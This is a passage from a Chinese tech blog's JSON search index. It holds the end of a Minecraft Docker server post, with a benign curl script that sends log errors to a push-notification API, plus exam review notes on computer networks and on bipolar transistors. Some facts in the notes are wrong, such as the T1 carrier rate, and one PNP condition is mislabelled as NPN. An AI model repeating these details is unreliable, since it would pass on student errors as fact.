class=\"built_in\"\u003eread\u003c/span\u003e line; \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003edo\u003c/span\u003e json=\u003cspan class=\"string\"\u003e\u0026#34;{\\\u0026#34;token\\\u0026#34;: \\\u0026#34;\u003cspan class=\"variable\"\u003e$token\u003c/span\u003e\\\u0026#34;, \\\u0026#34;title\\\u0026#34;: \\\u0026#34;MC服务端异常报警\\\u0026#34;, \\\u0026#34;content\\\u0026#34;: \\\u0026#34;\u003cspan class=\"variable\"\u003e$line\u003c/span\u003e\\\u0026#34;}\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecurl -H \u003cspan class=\"string\"\u003e\u0026#34;Content-Type: application/json\u0026#34;\u003c/span\u003e -X POST -d \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$json\u003c/span\u003e\u0026#34;\u003c/span\u003e \u003cspan class=\"variable\"\u003e$url\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003edone\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它会\u003cstrong\u003e每次从日志开始读取日志\u003c/strong\u003e,将报错信息发送给PushPlus API。我一般会在微信上收报警消息。不过每次从日志开始读取日志确实不太好(会重复发送以前的错误信息)。这个回头得改一改。要么每次退出时清空日志,要么设置个读取行指示的全局变量。\u003c/p\u003e\u003cp\u003e就是这样啦。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/06/07/%E6%B8%B8%E6%88%8F/Minecraft/%E7%94%A8Docker%E5%BC%80%E4%B8%AAMC%E6%9C%8D%E5%8A%A1%E5%99%A8/"},{"title":"计网笔记:复习","time":"2023-06-07T07:06:44Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"Chap-1-概述\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-1-%E6%A6%82%E8%BF%B0\" class=\"headerlink\" title=\"Chap.1.概述\"\u003e\u003c/a\u003eChap.1.概述\u003c/h2\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e数据通信的概念及模型\u003c/strong\u003e:报文、接收方、传输协议等\u003c/li\u003e\u003cli\u003e数据流\u003c/li\u003e\u003cli\u003e计算机网络的概念\u003c/li\u003e\u003cli\u003e网络的三个准则\u003c/li\u003e\u003cli\u003e链路的概念\u003c/li\u003e\u003cli\u003e拓扑结构:网状、星形、主干形\u003c/li\u003e\u003cli\u003e网络模型的概念\u003c/li\u003e\u003cli\u003e网络分类\u003c/li\u003e\u003cli\u003e因特网的历史:前身-ARPANET\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e协议的概念和三个要素\u003c/strong\u003e:p13,语法(数据结构)、语义和时序\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Chap-2-网络模型\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-2-%E7%BD%91%E7%BB%9C%E6%A8%A1%E5%9E%8B\" class=\"headerlink\" title=\"Chap.2.网络模型\"\u003e\u003c/a\u003eChap.2.网络模型\u003c/h2\u003e\u003col start=\"11\"\u003e\u003cli\u003e分层的概念\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eOSI模型概念和各层功能\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eTCP/IP协议簇和各层功能\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e地址:物理/逻辑/端口地址\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Chap-3-物理层\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-3-%E7%89%A9%E7%90%86%E5%B1%82\" class=\"headerlink\" title=\"Chap.3.物理层\"\u003e\u003c/a\u003eChap.3.物理层\u003c/h2\u003e\u003col start=\"15\"\u003e\u003cli\u003e数字信号:\u003c/li\u003e\u003cli\u003e传输减损:\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e数据速率限制\u003c/strong\u003e:乃亏斯特定理、香浓容量定理\u003c/li\u003e\u003cli\u003e性能:\u003cstrong\u003e带宽、吞吐量、\u003c/strong\u003e延迟、\u003cstrong\u003e传播时间、传输时间\u003c/strong\u003e、排队时间、带宽与延迟的乘积和概念\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Chap-4-数字传输\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-4-%E6%95%B0%E5%AD%97%E4%BC%A0%E8%BE%93\" class=\"headerlink\" title=\"Chap.4.数字传输\"\u003e\u003c/a\u003eChap.4.数字传输\u003c/h2\u003e\u003col start=\"19\"\u003e\u003cli\u003e线路编码\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e线路编码方案(重要)\u003c/strong\u003e:NRZ、NRZ-L/I、RZ、\u003cstrong\u003e双相码\u003c/strong\u003e、双极性编码。这里的差分编码根据初始值不同,可能有两个答案\u003c/li\u003e\u003cli\u003e块编码\u003c/li\u003e\u003cli\u003e扰码\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e脉码调制PCM\u003c/strong\u003e:采样(\u003cstrong\u003e采样率\u0026gt;=2倍最高频率\u003c/strong\u003e)、量化等级、简化误差\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Chap-5-模拟传输\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-5-%E6%A8%A1%E6%8B%9F%E4%BC%A0%E8%BE%93\" class=\"headerlink\" title=\"Chap.5.模拟传输\"\u003e\u003c/a\u003eChap.5.模拟传输\u003c/h2\u003e\u003col start=\"27\"\u003e\u003cli\u003e了解基本概念和原理即可。\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Chap-6-带宽利用\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-6-%E5%B8%A6%E5%AE%BD%E5%88%A9%E7%94%A8\" class=\"headerlink\" title=\"Chap.6.带宽利用\"\u003e\u003c/a\u003eChap.6.带宽利用\u003c/h2\u003e\u003col start=\"28\"\u003e\u003cli\u003e复用:FDM、同步/统计TDM(了解)、WDM\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e数字层次、T1载波(速率1.44MiB)、E1载波(2.048MiB)\u003c/strong\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Chap-7-传输介质\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-7-%E4%BC%A0%E8%BE%93%E4%BB%8B%E8%B4%A8\" class=\"headerlink\" title=\"Chap.7.传输介质\"\u003e\u003c/a\u003eChap.7.传输介质\u003c/h2\u003e\u003col start=\"33\"\u003e\u003cli\u003e导向介质:双绞线(电信号,易受干扰)、同轴电缆、光纤(抗干扰能力最强)\u003c/li\u003e\u003cli\u003e无线传输介质\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Chap-8-交换\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-8-%E4%BA%A4%E6%8D%A2\" class=\"headerlink\" title=\"Chap.8.交换\"\u003e\u003c/a\u003eChap.8.交换\u003c/h2\u003e\u003col start=\"35\"\u003e\u003cli\u003e\u003cstrong\u003e电路交换特点\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e数据报交换特点\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e虚电路交换特点\u003c/strong\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Chap-9-过\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-9-%E8%BF%87\" class=\"headerlink\" title=\"Chap.9.过\"\u003e\u003c/a\u003eChap.9.过\u003c/h2\u003e\u003ch2 id=\"Chap-10-检错和纠错\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-10-%E6%A3%80%E9%94%99%E5%92%8C%E7%BA%A0%E9%94%99\" class=\"headerlink\" title=\"Chap.10.检错和纠错\"\u003e\u003c/a\u003eChap.10.检错和纠错\u003c/h2\u003e\u003col start=\"41\"\u003e\u003cli\u003e\u003cstrong\u003e纠错的概念和方法\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e循环冗余编码CRC(重要)\u003c/strong\u003e(不包含硬件实现、注意除数的长度)、CRC的检错能力分析(检测单个位差错、两个独立位差错、奇数个差错、突发性差错)\u003c/li\u003e\u003cli\u003e校验和及其计算方法\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Chap-11-数据链路层\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-11-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82\" class=\"headerlink\" title=\"Chap.11.数据链路层\"\u003e\u003c/a\u003eChap.11.数据链路层\u003c/h2\u003e\u003col start=\"50\"\u003e\u003cli\u003e\u003cstrong\u003e停止等待ARQ、后退N帧ARQ和选择重发ARQ、窗口、最大链路利用率\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eHDLC\u003c/strong\u003e\u003c/li\u003e\u003cli\u003ePPP协议\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Chap-12-多路访问\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-12-%E5%A4%9A%E8%B7%AF%E8%AE%BF%E9%97%AE\" class=\"headerlink\" title=\"Chap.12.多路访问\"\u003e\u003c/a\u003eChap.12.多路访问\u003c/h2\u003e\u003col start=\"53\"\u003e\u003cli\u003e随机访问:纯ALOHA、时隙ALOHA、CSMA、\u003cstrong\u003eCSMA/CD\u003c/strong\u003e、CSMA/CA、\u003cstrong\u003e最小帧长、传播时长\u003c/strong\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Chap-13-14-有线-x2F-无线局域网\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-13-14-%E6%9C%89%E7%BA%BF-x2F-%E6%97%A0%E7%BA%BF%E5%B1%80%E5%9F%9F%E7%BD%91\" class=\"headerlink\" title=\"Chap.13-14.有线/无线局域网\"\u003e\u003c/a\u003eChap.13-14.有线/无线局域网\u003c/h2\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e标准以太网的MAC子层\u003c/strong\u003e:帧格式、MAC地址、最短帧长等\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e802.11MAC子层、帧结构\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Chap-15-连接局域网、主干网和虚拟局域网\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-15-%E8%BF%9E%E6%8E%A5%E5%B1%80%E5%9F%9F%E7%BD%91%E3%80%81%E4%B8%BB%E5%B9%B2%E7%BD%91%E5%92%8C%E8%99%9A%E6%8B%9F%E5%B1%80%E5%9F%9F%E7%BD%91\" class=\"headerlink\" title=\"Chap.15.连接局域网、主干网和虚拟局域网\"\u003e\u003c/a\u003eChap.15.连接局域网、主干网和虚拟局域网\u003c/h2\u003e\u003cul\u003e\u003cli\u003e连接设备:\u003cstrong\u003e透明网桥、二层交换机(它没有IP地址)、路由器\u003c/strong\u003e、无源集线器、中继器、有源集线器、网桥、生成树、三层交换机\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e虚拟局域网的概念及划分方法\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Chap-19-逻辑寻址(重要)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-19-%E9%80%BB%E8%BE%91%E5%AF%BB%E5%9D%80%EF%BC%88%E9%87%8D%E8%A6%81%EF%BC%89\" class=\"headerlink\" title=\"Chap.19.逻辑寻址(重要)\"\u003e\u003c/a\u003eChap.19.逻辑寻址(重要)\u003c/h2\u003e\u003cul\u003e\u003cli\u003eIPV4地址:ABCDE类地址\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e掩码、子网和超网的概念\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e子网划分\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e无类别域间路由CIDR\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Chap-20-IP协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-20-IP%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"Chap.20.IP协议\"\u003e\u003c/a\u003eChap.20.IP协议\u003c/h2\u003e\u003cp\u003e字段有啥大概也记一下\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003eIP分组(数据报的格式)\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e分片与MTU(以太网最大是1500)\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eIPV4校验和\u003c/strong\u003e\u003c/li\u003e\u003cli\u003eIPV6分组格式、\u003cstrong\u003e零压缩规则\u003c/strong\u003e\u003c/li\u003e\u003cli\u003eIPV4和IPV6混合\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Chap-21-地址映射、差错报告和多播\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-21-%E5%9C%B0%E5%9D%80%E6%98%A0%E5%B0%84%E3%80%81%E5%B7%AE%E9%94%99%E6%8A%A5%E5%91%8A%E5%92%8C%E5%A4%9A%E6%92%AD\" class=\"headerlink\" title=\"Chap.21.地址映射、差错报告和多播\"\u003e\u003c/a\u003eChap.21.地址映射、差错报告和多播\u003c/h2\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003eARP概念\u003c/strong\u003e、分组格式、封装、四种操作\u003c/li\u003e\u003cli\u003eDHCP概念\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eICMP(重点)\u003c/strong\u003e:概念、\u003cstrong\u003e报文格式\u003c/strong\u003e、\u003cstrong\u003e差错报告(5种)\u003c/strong\u003e\u003c/li\u003e\u003cli\u003eIGMP的基本概念\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Chap-22-传递、转发、路由选择\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-22-%E4%BC%A0%E9%80%92%E3%80%81%E8%BD%AC%E5%8F%91%E3%80%81%E8%B7%AF%E7%94%B1%E9%80%89%E6%8B%A9\" class=\"headerlink\" title=\"Chap.22.传递、转发、路由选择\"\u003e\u003c/a\u003eChap.22.传递、转发、路由选择\u003c/h2\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e转发技术、转发过程\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e路由表、地址聚合、最长掩码匹配\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e路由算法(重点):Dijkstra(很重要)、Bellman Ford算法(重要)\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e单播路由协议:AS概念、RIP协议(基于距离向量)、OSPF协议(基于状态向量)\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e多播的概念和多播路由(了解)\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Chap-23-UDP、TCP、SCTP\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-23-UDP%E3%80%81TCP%E3%80%81SCTP\" class=\"headerlink\" title=\"Chap.23.UDP、TCP、SCTP\"\u003e\u003c/a\u003eChap.23.\u003cstrong\u003eUDP、TCP\u003c/strong\u003e、SCTP\u003c/h2\u003e\u003cul\u003e\u003cli\u003e端口、套接字\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eUDP:概念、结构、校验和、操作\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eTCP:特点、服务、文段格式\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eTCP连接建立和拆除\u003c/strong\u003e\u003cul\u003e\u003cli\u003e学会画连接过程图:注意标注清楚seq,ack等字段\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eTCP流量控制(信贷划窗协议)\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eTCP差错控制\u003c/strong\u003e:主要是重传(超时/快速)\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Chap-24-拥塞控制和服务质量\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-24-%E6%8B%A5%E5%A1%9E%E6%8E%A7%E5%88%B6%E5%92%8C%E6%9C%8D%E5%8A%A1%E8%B4%A8%E9%87%8F\" class=\"headerlink\" title=\"Chap.24.拥塞控制和服务质量\"\u003e\u003c/a\u003eChap.24.拥塞控制和服务质量\u003c/h2\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003eTCP拥塞控制\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e服务质量\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Chap-25-27-应用层\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-25-27-%E5%BA%94%E7%94%A8%E5%B1%82\" class=\"headerlink\" title=\"Chap.25-27.应用层\"\u003e\u003c/a\u003eChap.25-27.应用层\u003c/h2\u003e\u003cul\u003e\u003cli\u003eFTP端口用两个端口20和21,一个用来传数据,一个用来传控制信息。\u003c/li\u003e\u003cli\u003e电子邮件协议:SMTP、MIME、POP3、IMAP等\u003c/li\u003e\u003cli\u003eTelnet\u003c/li\u003e\u003cli\u003eHTTP、DNS等、Cookies、URL等\u003c/li\u003e\u003c/ul\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/"},{"title":"模电:第二章-三极管","time":"2023-06-05T09:16:16Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e三级管是模电中最重要的基础器件。其内部电流比较复杂,下面直接讨论其性质。\u003c/p\u003e\u003cul\u003e\u003cli\u003e结构 :三个掺杂区:base, emit, collect\u003c/li\u003e\u003cli\u003e三个电极:base, emit, collect\u003c/li\u003e\u003cli\u003e两个PN结:发射结,集电结\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e三极管有两类,PNP型和NPN型。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606220759.png\"/\u003e\u003c/p\u003e\u003ch2 id=\"三极管特性\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/05/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E4%B8%89%E6%9E%81%E7%AE%A1/#%E4%B8%89%E6%9E%81%E7%AE%A1%E7%89%B9%E6%80%A7\" class=\"headerlink\" title=\"三极管特性\"\u003e\u003c/a\u003e三极管特性\u003c/h2\u003e\u003cp\u003e三极管可以看作是两个二极管并起来构成的。如果是N和N并,那就是NPN型三极管;否则是PNP型三极管。下面的图中是\u003cstrong\u003eNPN型三极管\u003c/strong\u003e,如果是PNP型,则箭头从上册斜线指向左侧竖线(箭头指向N型的方向)。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230605172407.png\"/\u003e\u003c/p\u003e\u003cp\u003e三极管有三极,从上到下分别是C,B,E,分别是集电极,基极,发射极。对于NPN型三极管,电流流入C,B,从E流出;PNP型反之。\u003c/p\u003e\u003col\u003e\u003cli\u003e性质\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e电流关系(满足KCL关系):$I_C+I_B=I_E$\u003c/li\u003e\u003cli\u003e电流控制放大作用(\u003cstrong\u003e基极电流控制集电极电流\u003c/strong\u003e):$I_C=\\beta I_B$\u003c/li\u003e\u003cli\u003e比例分配关系:$i_B:i_C:i_E=1:\\beta:1+\\beta$\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e$\\beta$称为(共射)电流放大系数。直流情况下的放大关系近似等于交流状态的放大关系。\u003c/p\u003e\u003cp\u003e也就是说,三极管的输入是$I_B$和$U_{BE}$,输出是$I_C$和$U_{CE}$。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606221157.png\"/\u003e\u003c/p\u003e\u003cp\u003e这是简化的基本电流方向关系(忽略$I_{CEO}$等电流)。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230605175112.png\"/\u003e\u003c/p\u003e\u003cp\u003e晶体管的伏安特性曲线有两个图,因为它有三个端口。需要记住的是伏安特性的对应关系:\u003c/p\u003e\u003col\u003e\u003cli\u003e输入伏安关系:输入电流和发射结电压$U_{BE}$的关系\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e输入伏安特性是发射结的电流-电压关系,而发射结也是PN结,所以曲线也是一个指数曲线。但是它跟管压降有关,然而一般可以只画一条曲线来表示。\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e输出伏安特性:集电极电流和管压降$U_{CE}$的关系\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606223354.png\"/\u003e\u003c/p\u003e\u003cp\u003e工作状态:\u003c/p\u003e\u003cul\u003e\u003cli\u003e发射结反偏($u_{BE}\u0026lt;U_{on}$):截止区\u003c/li\u003e\u003cli\u003e发射结正偏($u_{BE}\\geq U_{on})\u003cul\u003e\u003cli\u003e集电结反偏:放大区($u_{BC}\u0026lt;0$)\u003c/li\u003e\u003cli\u003e集电结正偏:饱和区($u_{BC}\u0026gt;0$)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e放大区的电位特点:\u003c/p\u003e\u003cul\u003e\u003cli\u003eNPN管:$u_C\\geq u_B\u0026gt;u_E,u_{BE}=0.7V/0.2V$\u003c/li\u003e\u003cli\u003eNPN管:$u_C\\leq u_B\u0026lt;u_E,u_{EB}=0.7V/0.2V$\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e已知端电压,区分二极管种类时,两个相差0.2/0.7V的端口一定是b和e极。剩下的一个电位最高则是NPN,否则是PNP。然后再结合上面的等式分析b和e是分别是哪个:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606224126.png\"/\u003e\u003c/p\u003e\u003cp\u003e判断能否正常工作,首先看管子类型,其次看电位关系是否正确。同时,看电流是否合理(有没有保护电阻)。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606224337.png\"/\u003e\u003c/p\u003e\u003cp\u003e用上面的方法,和KCL、KVL,就能求解下面的工作状态:\u003c/p\u003e\u003cp\u003e\u003cimg 